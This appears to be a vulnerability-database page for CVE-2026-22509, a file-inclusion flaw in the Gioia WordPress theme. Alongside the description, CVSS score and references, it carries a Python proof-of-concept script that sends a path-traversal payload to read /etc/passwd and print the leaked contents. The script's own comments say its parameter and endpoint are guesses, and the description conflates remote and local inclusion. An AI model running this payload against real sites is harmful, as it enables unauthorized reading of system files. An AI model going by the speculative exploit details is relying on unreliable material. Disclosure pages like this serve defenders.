CVE-2026-22509

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Gioia gioia allows PHP Local File Inclusion.This issue affects Gioia: from n/a through <= 1.4.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Elated-Themes Gioia <= 1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_lfi(target_url):
    """
    Proof of Concept for CVE-2026-22509
    Attempts to read /etc/passwd via LFI in Gioia theme.
    """
    # Common vulnerable endpoint pattern in WordPress themes (example)
    # The actual vulnerable parameter might vary based on the theme's code structure.
    payload = "../../../etc/passwd"
    
    # Example request structure (adjust endpoint/param based on actual exploit)
    # Assuming a vulnerable parameter 'file' or 'load'
    params = {
        "file": payload
    }
    
    try:
        response = requests.get(target_url, params=params, timeout=10)
        if "root:" in response.text:
            print("[+] Vulnerability confirmed! /etc/passwd leaked.")
            print(response.text[:200])
        else:
            print("[-] Vulnerability not detected or payload incorrect.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    # Replace with actual target URL
    url = "http://example.com/wp-content/themes/gioia/vulnerable_file.php"
    check_lfi(url)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22509
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22509
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22509/
[4] VulDB https://vuldb.com/cve/CVE-2026-22509
[5] https://patchstack.com/database/Wordpress/Theme/gioia/vulnerability/wordpress-gioia-theme-1-4-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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